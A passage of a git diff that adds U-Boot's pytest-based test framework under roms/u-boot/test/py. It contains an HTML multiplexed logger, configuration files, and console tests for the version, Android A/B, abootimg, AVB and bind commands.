generated. A valid use-case is to + repeat a shell prompt at the start of each separate log + section, which makes the log sections more readable in + isolation. + + Returns: + Nothing. + """ + + self.logfile.write(self, data, implicit) + if self.chained_file: + # Chained file is console, convert things a little + self.chained_file.write((data.encode('ascii', 'replace')).decode()) + + def flush(self): + """Flush the log stream, to ensure correct log interleaving. + + Args: + None. + + Returns: + Nothing. + """ + + self.logfile.flush() + if self.chained_file: + self.chained_file.flush() + +class RunAndLog(object): + """A utility object used to execute sub-processes and log their output to + a multiplexed log file. Objects of this type should be created by factory + functions in the Logfile class rather than directly.""" + + def __init__(self, logfile, name, chained_file): + """Initialize a new object. + + Args: + logfile: The Logfile object to log to. + name: The name of this log stream or sub-process. + chained_file: The file-like object to which all stream data should + be logged to in addition to logfile. Can be None. + + Returns: + Nothing. + """ + + self.logfile = logfile + self.name = name + self.chained_file = chained_file + self.output = None + self.exit_status = None + + def close(self): + """Clean up any resources managed by this object.""" + pass + + def run(self, cmd, cwd=None, ignore_errors=False): + """Run a command as a sub-process, and log the results. + + The output is available at self.output which can be useful if there is + an exception. + + Args: + cmd: The command to execute. + cwd: The directory to run the command in. Can be None to use the + current directory. + ignore_errors: Indicate whether to ignore errors. If True, the + function will simply return if the command cannot be executed + or exits with an error code, otherwise an exception will be + raised if such problems occur. + + Returns: + The output as a string. + """ + + msg = '+' + ' '.join(cmd) + '\n' + if self.chained_file: + self.chained_file.write(msg) + self.logfile.write(self, msg) + + try: + p = subprocess.Popen(cmd, cwd=cwd, + stdin=None, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) + (stdout, stderr) = p.communicate() + if stdout is not None: + stdout = stdout.decode('utf-8') + if stderr is not None: + stderr = stderr.decode('utf-8') + output = '' + if stdout: + if stderr: + output += 'stdout:\n' + output += stdout + if stderr: + if stdout: + output += 'stderr:\n' + output += stderr + exit_status = p.returncode + exception = None + except subprocess.CalledProcessError as cpe: + output = cpe.output + exit_status = cpe.returncode + exception = cpe + except Exception as e: + output = '' + exit_status = 0 + exception = e + if output and not output.endswith('\n'): + output += '\n' + if exit_status and not exception and not ignore_errors: + exception = Exception('Exit code: ' + str(exit_status)) + if exception: + output += str(exception) + '\n' + self.logfile.write(self, output) + if self.chained_file: + self.chained_file.write(output) + self.logfile.timestamp() + + # Store the output so it can be accessed if we raise an exception. + self.output = output + self.exit_status = exit_status + if exception: + raise exception + return output + +class SectionCtxMgr(object): + """A context manager for Python's "with" statement, which allows a certain + portion of test code to be logged to a separate section of the log file. + Objects of this type should be created by factory functions in the Logfile + class rather than directly.""" + + def __init__(self, log, marker, anchor): + """Initialize a new object. + + Args: + log: The Logfile object to log to. + marker: The name of the nested log section. + anchor: The anchor value to pass to start_section(). + + Returns: + Nothing. + """ + + self.log = log + self.marker = marker + self.anchor = anchor + + def __enter__(self): + self.anchor = self.log.start_section(self.marker, self.anchor) + + def __exit__(self, extype, value, traceback): + self.log.end_section(self.marker) + +class Logfile(object): + """Generates an HTML-formatted log file containing multiple streams of + data, each represented in a well-delineated/-structured fashion.""" + + def __init__(self, fn): + """Initialize a new object. + + Args: + fn: The filename to write to. + + Returns: + Nothing. + """ + + self.f = open(fn, 'wt', encoding='utf-8') + self.last_stream = None + self.blocks = [] + self.cur_evt = 1 + self.anchor = 0 + self.timestamp_start = self._get_time() + self.timestamp_prev = self.timestamp_start + self.timestamp_blocks = [] + self.seen_warning = False + + shutil.copy(mod_dir + '/multiplexed_log.css', os.path.dirname(fn)) + self.f.write('''\ + + + + + + + + +''') + + def close(self): + """Close the log file. + + After calling this function, no more data may be written to the log. + + Args: + None. + + Returns: + Nothing. + """ + + self.f.write('''\ + + + +''') + self.f.close() + + # The set of characters that should be represented as hexadecimal codes in + # the log file. + _nonprint = {ord('%')} + _nonprint.update({c for c in range(0, 32) if c not in (9, 10)}) + _nonprint.update({c for c in range(127, 256)}) + + def _escape(self, data): + """Render data format suitable for inclusion in an HTML document. + + This includes HTML-escaping certain characters, and translating + control characters to a hexadecimal representation. + + Args: + data: The raw string data to be escaped. + + Returns: + An escaped version of the data. + """ + + data = data.replace(chr(13), '') + data = ''.join((ord(c) in self._nonprint) and ('%%%02x' % ord(c)) or + c for c in data) + data = html.escape(data) + return data + + def _terminate_stream(self): + """Write HTML to the log file to terminate the current stream's data. + + Args: + None. + + Returns: + Nothing. + """ + + self.cur_evt += 1 + if not self.last_stream: + return + self.f.write('\n') + self.f.write('
End stream: ' + + self.last_stream.name + '
\n') + self.f.write('\n') + self.f.write('\n') + self.last_stream = None + + def _note(self, note_type, msg, anchor=None): + """Write a note or one-off message to the log file. + + Args: + note_type: The type of note. This must be a value supported by the + accompanying multiplexed_log.css. + msg: The note/message to log. + anchor: Optional internal link target. + + Returns: + Nothing. + """ + + self._terminate_stream() + self.f.write('
\n') + self.f.write('
')
+        if anchor:
+            self.f.write('' % anchor)
+        self.f.write(self._escape(msg))
+        if anchor:
+            self.f.write('')
+        self.f.write('\n
\n') + self.f.write('
\n') + + def start_section(self, marker, anchor=None): + """Begin a new nested section in the log file. + + Args: + marker: The name of the section that is starting. + anchor: The value to use for the anchor. If None, a unique value + will be calculated and used + + Returns: + Name of the HTML anchor emitted before section. + """ + + self._terminate_stream() + self.blocks.append(marker) + self.timestamp_blocks.append(self._get_time()) + if not anchor: + self.anchor += 1 + anchor = str(self.anchor) + blk_path = '/'.join(self.blocks) + self.f.write('
\n') + self.f.write('
Section: ' + + blk_path + '
\n') + self.f.write('
\n') + self.timestamp() + + return anchor + + def end_section(self, marker): + """Terminate the current nested section in the log file. + + This function validates proper nesting of start_section() and + end_section() calls. If a mismatch is found, an exception is raised. + + Args: + marker: The name of the section that is ending. + + Returns: + Nothing. + """ + + if (not self.blocks) or (marker != self.blocks[-1]): + raise Exception('Block nesting mismatch: "%s" "%s"' % + (marker, '/'.join(self.blocks))) + self._terminate_stream() + timestamp_now = self._get_time() + timestamp_section_start = self.timestamp_blocks.pop() + delta_section = timestamp_now - timestamp_section_start + self._note("timestamp", + "TIME: SINCE-SECTION: " + str(delta_section)) + blk_path = '/'.join(self.blocks) + self.f.write('
' + + 'End section: ' + blk_path + '
\n') + self.f.write('
\n') + self.f.write('
\n') + self.blocks.pop() + + def section(self, marker, anchor=None): + """Create a temporary section in the log file. + + This function creates a context manager for Python's "with" statement, + which allows a certain portion of test code to be logged to a separate + section of the log file. + + Usage: + with log.section("somename"): + some test code + + Args: + marker: The name of the nested section. + anchor: The anchor value to pass to start_section(). + + Returns: + A context manager object. + """ + + return SectionCtxMgr(self, marker, anchor) + + def error(self, msg): + """Write an error note to the log file. + + Args: + msg: A message describing the error. + + Returns: + Nothing. + """ + + self._note("error", msg) + + def warning(self, msg): + """Write an warning note to the log file. + + Args: + msg: A message describing the warning. + + Returns: + Nothing. + """ + + self.seen_warning = True + self._note("warning", msg) + + def get_and_reset_warning(self): + """Get and reset the log warning flag. + + Args: + None + + Returns: + Whether a warning was seen since the last call. + """ + + ret = self.seen_warning + self.seen_warning = False + return ret + + def info(self, msg): + """Write an informational note to the log file. + + Args: + msg: An informational message. + + Returns: + Nothing. + """ + + self._note("info", msg) + + def action(self, msg): + """Write an action note to the log file. + + Args: + msg: A message describing the action that is being logged. + + Returns: + Nothing. + """ + + self._note("action", msg) + + def _get_time(self): + return datetime.datetime.now() + + def timestamp(self): + """Write a timestamp to the log file. + + Args: + None + + Returns: + Nothing. + """ + + timestamp_now = self._get_time() + delta_prev = timestamp_now - self.timestamp_prev + delta_start = timestamp_now - self.timestamp_start + self.timestamp_prev = timestamp_now + + self._note("timestamp", + "TIME: NOW: " + timestamp_now.strftime("%Y/%m/%d %H:%M:%S.%f")) + self._note("timestamp", + "TIME: SINCE-PREV: " + str(delta_prev)) + self._note("timestamp", + "TIME: SINCE-START: " + str(delta_start)) + + def status_pass(self, msg, anchor=None): + """Write a note to the log file describing test(s) which passed. + + Args: + msg: A message describing the passed test(s). + anchor: Optional internal link target. + + Returns: + Nothing. + """ + + self._note("status-pass", msg, anchor) + + def status_warning(self, msg, anchor=None): + """Write a note to the log file describing test(s) which passed. + + Args: + msg: A message describing the passed test(s). + anchor: Optional internal link target. + + Returns: + Nothing. + """ + + self._note("status-warning", msg, anchor) + + def status_skipped(self, msg, anchor=None): + """Write a note to the log file describing skipped test(s). + + Args: + msg: A message describing the skipped test(s). + anchor: Optional internal link target. + + Returns: + Nothing. + """ + + self._note("status-skipped", msg, anchor) + + def status_xfail(self, msg, anchor=None): + """Write a note to the log file describing xfailed test(s). + + Args: + msg: A message describing the xfailed test(s). + anchor: Optional internal link target. + + Returns: + Nothing. + """ + + self._note("status-xfail", msg, anchor) + + def status_xpass(self, msg, anchor=None): + """Write a note to the log file describing xpassed test(s). + + Args: + msg: A message describing the xpassed test(s). + anchor: Optional internal link target. + + Returns: + Nothing. + """ + + self._note("status-xpass", msg, anchor) + + def status_fail(self, msg, anchor=None): + """Write a note to the log file describing failed test(s). + + Args: + msg: A message describing the failed test(s). + anchor: Optional internal link target. + + Returns: + Nothing. + """ + + self._note("status-fail", msg, anchor) + + def get_stream(self, name, chained_file=None): + """Create an object to log a single stream's data into the log file. + + This creates a "file-like" object that can be written to in order to + write a single stream's data to the log file. The implementation will + handle any required interleaving of data (from multiple streams) in + the log, in a way that makes it obvious which stream each bit of data + came from. + + Args: + name: The name of the stream. + chained_file: The file-like object to which all stream data should + be logged to in addition to this log. Can be None. + + Returns: + A file-like object. + """ + + return LogfileStream(self, name, chained_file) + + def get_runner(self, name, chained_file=None): + """Create an object that executes processes and logs their output. + + Args: + name: The name of this sub-process. + chained_file: The file-like object to which all stream data should + be logged to in addition to logfile. Can be None. + + Returns: + A RunAndLog object. + """ + + return RunAndLog(self, name, chained_file) + + def write(self, stream, data, implicit=False): + """Write stream data into the log file. + + This function should only be used by instances of LogfileStream or + RunAndLog. + + Args: + stream: The stream whose data is being logged. + data: The data to log. + implicit: Boolean indicating whether data actually appeared in the + stream, or was implicitly generated. A valid use-case is to + repeat a shell prompt at the start of each separate log + section, which makes the log sections more readable in + isolation. + + Returns: + Nothing. + """ + + if stream != self.last_stream: + self._terminate_stream() + self.f.write('
\n') + self.f.write('
Stream: ' + + stream.name + '
\n') + self.f.write('
\n') + self.f.write('
')
+        if implicit:
+            self.f.write('')
+        self.f.write(self._escape(data))
+        if implicit:
+            self.f.write('')
+        self.last_stream = stream
+
+    def flush(self):
+        """Flush the log stream, to ensure correct log interleaving.
+
+        Args:
+            None.
+
+        Returns:
+            Nothing.
+        """
+
+        self.f.flush()
diff --git a/roms/u-boot/test/py/pytest.ini b/roms/u-boot/test/py/pytest.ini
new file mode 100644
index 000000000..e93d010f1
--- /dev/null
+++ b/roms/u-boot/test/py/pytest.ini
@@ -0,0 +1,13 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2015 Stephen Warren
+# Copyright (c) 2015-2016, NVIDIA CORPORATION. All rights reserved.
+
+# Static configuration data for pytest. pytest reads this at startup time.
+
+[pytest]
+markers =
+    boardspec: U-Boot: Describes the set of boards a test can/can't run on.
+    buildconfigspec: U-Boot: Describes Kconfig/config-header constraints.
+    notbuildconfigspec: U-Boot: Describes required disabled Kconfig options.
+    requiredtool: U-Boot: Required host tools for a test.
+    slow: U-Boot: Specific test will run slowly.
diff --git a/roms/u-boot/test/py/requirements.txt b/roms/u-boot/test/py/requirements.txt
new file mode 100644
index 000000000..33c5c0bbc
--- /dev/null
+++ b/roms/u-boot/test/py/requirements.txt
@@ -0,0 +1,26 @@
+atomicwrites==1.3.0
+attrs==19.3.0
+coverage==4.5.4
+extras==1.0.0
+fixtures==3.0.0
+importlib-metadata==0.23
+linecache2==1.0.0
+more-itertools==7.2.0
+packaging==19.2
+pbr==5.4.3
+pluggy==0.13.0
+py==1.10.0
+pycryptodomex==3.9.8
+pyelftools==0.27
+pygit2==0.28.2
+pyparsing==2.4.2
+pytest==5.2.1
+python-mimeparse==1.6.0
+python-subunit==1.3.0
+requests==2.25.1
+six==1.12.0
+testtools==2.3.0
+traceback2==1.4.0
+unittest2==1.1.0
+wcwidth==0.1.7
+zipp==0.6.0
diff --git a/roms/u-boot/test/py/test.py b/roms/u-boot/test/py/test.py
new file mode 100755
index 000000000..285fda542
--- /dev/null
+++ b/roms/u-boot/test/py/test.py
@@ -0,0 +1,20 @@
+#!/usr/bin/env python3
+# SPDX-License-Identifier: GPL-2.0
+
+# Copyright (c) 2015 Stephen Warren
+# Copyright (c) 2015-2016, NVIDIA CORPORATION. All rights reserved.
+
+# Wrapper script to invoke pytest with the directory name that contains the
+# U-Boot tests.
+
+import os
+import os.path
+import sys
+import pytest
+from pkg_resources import load_entry_point
+
+if __name__ == '__main__':
+    # argv; py.test test_directory_name user-supplied-arguments
+    args = [os.path.dirname(__file__) + '/tests']
+    args.extend(sys.argv)
+    sys.exit(pytest.main(args))
diff --git a/roms/u-boot/test/py/tests/test_000_version.py b/roms/u-boot/test/py/tests/test_000_version.py
new file mode 100644
index 000000000..bd089ab54
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_000_version.py
@@ -0,0 +1,19 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2015 Stephen Warren
+# Copyright (c) 2016, NVIDIA CORPORATION. All rights reserved.
+
+# pytest runs tests the order of their module path, which is related to the
+# filename containing the test. This file is named such that it is sorted
+# first, simply as a very basic sanity check of the functionality of the U-Boot
+# command prompt.
+
+def test_version(u_boot_console):
+    """Test that the "version" command prints the U-Boot version."""
+
+    # "version" prints the U-Boot sign-on message. This is usually considered
+    # an error, so that any unexpected reboot causes an error. Here, this
+    # error detection is disabled since the sign-on message is expected.
+    with u_boot_console.disable_check('main_signon'):
+        response = u_boot_console.run_command('version')
+    # Ensure "version" printed what we expected.
+    u_boot_console.validate_version_string_in_text(response)
diff --git a/roms/u-boot/test/py/tests/test_android/test_ab.py b/roms/u-boot/test/py/tests/test_android/test_ab.py
new file mode 100644
index 000000000..c79cb07fd
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_android/test_ab.py
@@ -0,0 +1,75 @@
+# SPDX-License-Identifier: GPL-2.0
+# (C) Copyright 2018 Texas Instruments, 
+
+# Test A/B update commands.
+
+import os
+import pytest
+import u_boot_utils
+
+class ABTestDiskImage(object):
+    """Disk Image used by the A/B tests."""
+
+    def __init__(self, u_boot_console):
+        """Initialize a new ABTestDiskImage object.
+
+        Args:
+            u_boot_console: A U-Boot console.
+
+        Returns:
+            Nothing.
+        """
+
+        filename = 'test_ab_disk_image.bin'
+
+        persistent = u_boot_console.config.persistent_data_dir + '/' + filename
+        self.path = u_boot_console.config.result_dir  + '/' + filename
+
+        with u_boot_utils.persistent_file_helper(u_boot_console.log, persistent):
+            if os.path.exists(persistent):
+                u_boot_console.log.action('Disk image file ' + persistent +
+                    ' already exists')
+            else:
+                u_boot_console.log.action('Generating ' + persistent)
+                fd = os.open(persistent, os.O_RDWR | os.O_CREAT)
+                os.ftruncate(fd, 524288)
+                os.close(fd)
+                cmd = ('sgdisk', persistent)
+                u_boot_utils.run_and_log(u_boot_console, cmd)
+
+                cmd = ('sgdisk', '--new=1:64:512', '--change-name=1:misc',
+                    persistent)
+                u_boot_utils.run_and_log(u_boot_console, cmd)
+                cmd = ('sgdisk', '--load-backup=' + persistent)
+                u_boot_utils.run_and_log(u_boot_console, cmd)
+
+        cmd = ('cp', persistent, self.path)
+        u_boot_utils.run_and_log(u_boot_console, cmd)
+
+di = None
+@pytest.fixture(scope='function')
+def ab_disk_image(u_boot_console):
+    global di
+    if not di:
+        di = ABTestDiskImage(u_boot_console)
+    return di
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('android_ab')
+@pytest.mark.buildconfigspec('cmd_ab_select')
+@pytest.mark.requiredtool('sgdisk')
+def test_ab(ab_disk_image, u_boot_console):
+    """Test the 'ab_select' command."""
+
+    u_boot_console.run_command('host bind 0 ' + ab_disk_image.path)
+
+    output = u_boot_console.run_command('ab_select slot_name host 0#misc')
+    assert 're-initializing A/B metadata' in output
+    assert 'Attempting slot a, tries remaining 7' in output
+    output = u_boot_console.run_command('printenv slot_name')
+    assert 'slot_name=a' in output
+
+    output = u_boot_console.run_command('ab_select slot_name host 0:1')
+    assert 'Attempting slot b, tries remaining 7' in output
+    output = u_boot_console.run_command('printenv slot_name')
+    assert 'slot_name=b' in output
diff --git a/roms/u-boot/test/py/tests/test_android/test_abootimg.py b/roms/u-boot/test/py/tests/test_android/test_abootimg.py
new file mode 100644
index 000000000..43a7099c4
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_android/test_abootimg.py
@@ -0,0 +1,159 @@
+# SPDX-License-Identifier:  GPL-2.0+
+# Copyright (c) 2020
+# Author: Sam Protsenko 
+
+# Test U-Boot's "abootimg" commands.
+
+import os
+import pytest
+import u_boot_utils
+
+"""
+These tests rely on disk image (boot.img), which is automatically created by
+the test from the stored hex dump. This is done to avoid the dependency on the
+most recent mkbootimg tool from AOSP/master. Here is the list of commands which
+was used to generate the boot.img and obtain compressed hex dump from it:
+
+    $ echo '/dts-v1/; / { model = "x1"; compatible = "y1,z1"; };' > test1.dts
+    $ echo '/dts-v1/; / { model = "x2"; compatible = "y2,z2"; };' > test2.dts
+    $ dtc test1.dts > dt1.dtb
+    $ dtc test2.dts > dt2.dtb
+    $ cat dt1.dtb dt2.dtb > dtb.img
+    $ echo 'kernel payload' > kernel
+    $ echo 'ramdisk payload' > ramdisk.img
+    $ mkbootimg --kernel ./kernel --ramdisk ./ramdisk.img  \
+                --cmdline "cmdline test" --dtb ./dtb.img   \
+                --os_version R --os_patch_level 2019-06-05 \
+                --header_version 2 --output boot.img
+    $ gzip -9 boot.img
+    $ xxd -p boot.img.gz > boot.img.gz.hex
+
+Now one can obtain original boot.img from this hex dump like this:
+
+    $ xxd -r -p boot.img.gz.hex boot.img.gz
+    $ gunzip -9 boot.img.gz
+"""
+
+# boot.img.gz hex dump
+img_hex = """1f8b08084844af5d0203626f6f742e696d670073f47309f2f77451e46700
+820606010106301084501f04181819041838181898803c3346060c909c9b
+92939997aa50925a5cc2300a461c3078b2e1793c4b876fd92db97939fb6c
+b7762ffff07d345446c1281805e8a0868d81e117a45e111c0d8dc101b253
+8bf25273140a122b73f21353b8460364148c8251300a46c1281801a02831
+3725b3387bb401300a46c1281805a360148c207081f7df5b20550bc41640
+9c03c41a0c90f17fe85400986d82452b6c3680198a192a0ce17c3610ae34
+d4a9820881a70f3873f35352731892f3730b124b32937252a96bb9119ae5
+463a5546f82c1f05a360148c8251300a462e000085bf67f200200000"""
+# Expected response for "abootimg dtb_dump" command
+dtb_dump_resp="""## DTB area contents (concat format):
+ - DTB #0:
+           (DTB)size = 125
+          (DTB)model = x1
+     (DTB)compatible = y1,z1
+ - DTB #1:
+           (DTB)size = 125
+          (DTB)model = x2
+     (DTB)compatible = y2,z2"""
+# Address in RAM where to load the boot image ('abootimg' looks in $loadaddr)
+loadaddr = 0x1000
+# Expected DTB #1 offset from the boot image start address
+dtb1_offset = 0x187d
+# DTB #1 start address in RAM
+dtb1_addr = loadaddr + dtb1_offset
+
+class AbootimgTestDiskImage(object):
+    """Disk image used by abootimg tests."""
+
+    def __init__(self, u_boot_console):
+        """Initialize a new AbootimgDiskImage object.
+
+        Args:
+            u_boot_console: A U-Boot console.
+
+        Returns:
+            Nothing.
+        """
+
+        gz_hex = u_boot_console.config.persistent_data_dir + '/boot.img.gz.hex'
+        gz = u_boot_console.config.persistent_data_dir + '/boot.img.gz'
+
+        filename = 'boot.img'
+        persistent = u_boot_console.config.persistent_data_dir + '/' + filename
+        self.path = u_boot_console.config.result_dir  + '/' + filename
+
+        with u_boot_utils.persistent_file_helper(u_boot_console.log, persistent):
+            if os.path.exists(persistent):
+                u_boot_console.log.action('Disk image file ' + persistent +
+                    ' already exists')
+            else:
+                u_boot_console.log.action('Generating ' + persistent)
+
+                f = open(gz_hex, "w")
+                f.write(img_hex)
+                f.close()
+
+                cmd = ('xxd', '-r', '-p', gz_hex, gz)
+                u_boot_utils.run_and_log(u_boot_console, cmd)
+
+                cmd = ('gunzip', '-9', gz)
+                u_boot_utils.run_and_log(u_boot_console, cmd)
+
+        cmd = ('cp', persistent, self.path)
+        u_boot_utils.run_and_log(u_boot_console, cmd)
+
+gtdi = None
+@pytest.fixture(scope='function')
+def abootimg_disk_image(u_boot_console):
+    """pytest fixture to provide a AbootimgTestDiskImage object to tests.
+    This is function-scoped because it uses u_boot_console, which is also
+    function-scoped. However, we don't need to actually do any function-scope
+    work, so this simply returns the same object over and over each time."""
+
+    global gtdi
+    if not gtdi:
+        gtdi = AbootimgTestDiskImage(u_boot_console)
+    return gtdi
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('android_boot_image')
+@pytest.mark.buildconfigspec('cmd_abootimg')
+@pytest.mark.buildconfigspec('cmd_fdt')
+@pytest.mark.requiredtool('xxd')
+@pytest.mark.requiredtool('gunzip')
+def test_abootimg(abootimg_disk_image, u_boot_console):
+    """Test the 'abootimg' command."""
+
+    u_boot_console.log.action('Loading disk image to RAM...')
+    u_boot_console.run_command('setenv loadaddr 0x%x' % (loadaddr))
+    u_boot_console.run_command('host load hostfs - 0x%x %s' % (loadaddr,
+        abootimg_disk_image.path))
+
+    u_boot_console.log.action('Testing \'abootimg get ver\'...')
+    response = u_boot_console.run_command('abootimg get ver')
+    assert response == "2"
+    u_boot_console.run_command('abootimg get ver v')
+    response = u_boot_console.run_command('env print v')
+    assert response == 'v=2'
+
+    u_boot_console.log.action('Testing \'abootimg get recovery_dtbo\'...')
+    response = u_boot_console.run_command('abootimg get recovery_dtbo a')
+    assert response == 'Error: recovery_dtbo_size is 0'
+
+    u_boot_console.log.action('Testing \'abootimg dump dtb\'...')
+    response = u_boot_console.run_command('abootimg dump dtb').replace('\r', '')
+    assert response == dtb_dump_resp
+
+    u_boot_console.log.action('Testing \'abootimg get dtb_load_addr\'...')
+    u_boot_console.run_command('abootimg get dtb_load_addr a')
+    response = u_boot_console.run_command('env print a')
+    assert response == 'a=11f00000'
+
+    u_boot_console.log.action('Testing \'abootimg get dtb --index\'...')
+    u_boot_console.run_command('abootimg get dtb --index=1 dtb1_start')
+    response = u_boot_console.run_command('env print dtb1_start')
+    correct_str = "dtb1_start=%x" % (dtb1_addr)
+    assert response == correct_str
+    u_boot_console.run_command('fdt addr $dtb1_start')
+    u_boot_console.run_command('fdt get value v / model')
+    response = u_boot_console.run_command('env print v')
+    assert response == 'v=x2'
diff --git a/roms/u-boot/test/py/tests/test_android/test_avb.py b/roms/u-boot/test/py/tests/test_android/test_avb.py
new file mode 100644
index 000000000..a04a7ff26
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_android/test_avb.py
@@ -0,0 +1,137 @@
+# Copyright (c) 2018, Linaro Limited
+#
+# SPDX-License-Identifier:  GPL-2.0+
+#
+# Android Verified Boot 2.0 Test
+
+"""
+This tests Android Verified Boot 2.0 support in U-boot:
+
+For additional details about how to build proper vbmeta partition
+check doc/android/avb2.rst
+
+For configuration verification:
+- Corrupt boot partition and check for failure
+- Corrupt vbmeta partition and check for failure
+"""
+
+import pytest
+import u_boot_utils as util
+
+# defauld mmc id
+mmc_dev = 1
+temp_addr = 0x90000000
+temp_addr2 = 0x90002000
+
+@pytest.mark.buildconfigspec('cmd_avb')
+@pytest.mark.buildconfigspec('cmd_mmc')
+def test_avb_verify(u_boot_console):
+    """Run AVB 2.0 boot verification chain with avb subset of commands
+    """
+
+    success_str = "Verification passed successfully"
+
+    response = u_boot_console.run_command('avb init %s' %str(mmc_dev))
+    assert response == ''
+    response = u_boot_console.run_command('avb verify')
+    assert response.find(success_str)
+
+
+@pytest.mark.buildconfigspec('cmd_avb')
+@pytest.mark.buildconfigspec('cmd_mmc')
+def test_avb_mmc_uuid(u_boot_console):
+    """Check if 'avb get_uuid' works, compare results with
+    'part list mmc 1' output
+    """
+
+    response = u_boot_console.run_command('avb init %s' % str(mmc_dev))
+    assert response == ''
+
+    response = u_boot_console.run_command('mmc rescan; mmc dev %s' %
+                                          str(mmc_dev))
+    assert response.find('is current device')
+
+    part_lines = u_boot_console.run_command('mmc part').splitlines()
+    part_list = {}
+    cur_partname = ''
+
+    for line in part_lines:
+        if '"' in line:
+            start_pt = line.find('"')
+            end_pt = line.find('"', start_pt + 1)
+            cur_partname = line[start_pt + 1: end_pt]
+
+        if 'guid:' in line:
+            guid_to_check = line.split('guid:\t')
+            part_list[cur_partname] = guid_to_check[1]
+
+    # lets check all guids with avb get_guid
+    for part, guid in part_list.iteritems():
+        avb_guid_resp = u_boot_console.run_command('avb get_uuid %s' % part)
+        assert guid == avb_guid_resp.split('UUID: ')[1]
+
+
+@pytest.mark.buildconfigspec('cmd_avb')
+def test_avb_read_rb(u_boot_console):
+    """Test reading rollback indexes
+    """
+
+    response = u_boot_console.run_command('avb init %s' % str(mmc_dev))
+    assert response == ''
+
+    response = u_boot_console.run_command('avb read_rb 1')
+    assert response == 'Rollback index: 0'
+
+
+@pytest.mark.buildconfigspec('cmd_avb')
+def test_avb_is_unlocked(u_boot_console):
+    """Test if device is in the unlocked state
+    """
+
+    response = u_boot_console.run_command('avb init %s' % str(mmc_dev))
+    assert response == ''
+
+    response = u_boot_console.run_command('avb is_unlocked')
+    assert response == 'Unlocked = 1'
+
+
+@pytest.mark.buildconfigspec('cmd_avb')
+@pytest.mark.buildconfigspec('cmd_mmc')
+def test_avb_mmc_read(u_boot_console):
+    """Test mmc read operation
+    """
+
+    response = u_boot_console.run_command('mmc rescan; mmc dev %s 0' %
+                                          str(mmc_dev))
+    assert response.find('is current device')
+
+    response = u_boot_console.run_command('mmc read 0x%x 0x100 0x1' % temp_addr)
+    assert response.find('read: OK')
+
+    response = u_boot_console.run_command('avb init %s' % str(mmc_dev))
+    assert response == ''
+
+    response = u_boot_console.run_command('avb read_part xloader 0 100 0x%x' %
+                                           temp_addr2)
+    assert response.find('Read 512 bytes')
+
+    # Now lets compare two buffers
+    response = u_boot_console.run_command('cmp 0x%x 0x%x 40' %
+                                          (temp_addr, temp_addr2))
+    assert response.find('64 word')
+
+
+@pytest.mark.buildconfigspec('cmd_avb')
+@pytest.mark.buildconfigspec('optee_ta_avb')
+def test_avb_persistent_values(u_boot_console):
+    """Test reading/writing persistent storage to avb
+    """
+
+    response = u_boot_console.run_command('avb init %s' % str(mmc_dev))
+    assert response == ''
+
+    response = u_boot_console.run_command('avb write_pvalue test value_value')
+    assert response == 'Wrote 12 bytes'
+
+    response = u_boot_console.run_command('avb read_pvalue test 12')
+    assert response == 'Read 12 bytes, value = value_value'
diff --git a/roms/u-boot/test/py/tests/test_bind.py b/roms/u-boot/test/py/tests/test_bind.py
new file mode 100644
index 000000000..6703325c0
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_bind.py
@@ -0,0 +1,179 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2016, NVIDIA CORPORATION. All rights reserved.
+
+import os.path
+import pytest
+import re
+
+def in_tree(response, name, uclass, drv, depth, last_child):
+	lines = [x.strip() for x in response.splitlines()]
+	leaf = ''
+	if depth != 0:
+		leaf = '   ' + '    ' * (depth - 1) ;
+		if not last_child:
+			leaf = leaf + r'\|'
+		else:
+                        leaf = leaf + '`'
+
+	leaf = leaf + '-- ' + name
+	line = (r' *{:10.10} *[0-9]*  \[ [ +] \]   {:20.20}  [` |]{}$'
+	        .format(uclass, drv, leaf))
+	prog = re.compile(line)
+	for l in lines:
+		if prog.match(l):
+			return True
+	return False
+
+
+@pytest.mark.buildconfigspec('cmd_bind')
+def test_bind_unbind_with_node(u_boot_console):
+
+	tree = u_boot_console.run_command('dm tree')
+	assert in_tree(tree, 'bind-test', 'simple_bus', 'simple_bus', 0, True)
+	assert in_tree(tree, 'bind-test-child1', 'phy', 'phy_sandbox', 1, False)
+	assert in_tree(tree, 'bind-test-child2', 'simple_bus', 'simple_bus', 1, True)
+
+	#Unbind child #1. No error expected and all devices should be there except for bind-test-child1
+	response = u_boot_console.run_command('unbind  /bind-test/bind-test-child1')
+	assert response == ''
+	tree = u_boot_console.run_command('dm tree')
+	assert in_tree(tree, 'bind-test', 'simple_bus', 'simple_bus', 0, True)
+	assert 'bind-test-child1' not in tree
+	assert in_tree(tree, 'bind-test-child2', 'simple_bus', 'simple_bus', 1, True)
+
+	#bind child #1. No error expected and all devices should be there
+	response = u_boot_console.run_command('bind  /bind-test/bind-test-child1 phy_sandbox')
+	assert response == ''
+	tree = u_boot_console.run_command('dm tree')
+	assert in_tree(tree, 'bind-test', 'simple_bus', 'simple_bus', 0, True)
+	assert in_tree(tree, 'bind-test-child1', 'phy', 'phy_sandbox', 1, True)
+	assert in_tree(tree, 'bind-test-child2', 'simple_bus', 'simple_bus', 1, False)
+
+	#Unbind child #2. No error expected and all devices should be there except for bind-test-child2
+	response = u_boot_console.run_command('unbind  /bind-test/bind-test-child2')
+	assert response == ''
+	tree = u_boot_console.run_command('dm tree')
+	assert in_tree(tree, 'bind-test', 'simple_bus', 'simple_bus', 0, True)
+	assert in_tree(tree, 'bind-test-child1', 'phy', 'phy_sandbox', 1, True)
+	assert 'bind-test-child2' not in tree
+
+
+	#Bind child #2. No error expected and all devices should be there
+	response = u_boot_console.run_command('bind /bind-test/bind-test-child2 simple_bus')
+	assert response == ''
+	tree = u_boot_console.run_command('dm tree')
+	assert in_tree(tree, 'bind-test', 'simple_bus', 'simple_bus', 0, True)
+	assert in_tree(tree, 'bind-test-child1', 'phy', 'phy_sandbox', 1, False)
+	assert in_tree(tree, 'bind-test-child2', 'simple_bus', 'simple_bus', 1, True)
+
+	#Unbind parent. No error expected. All devices should be removed and unbound
+	response = u_boot_console.run_command('unbind  /bind-test')
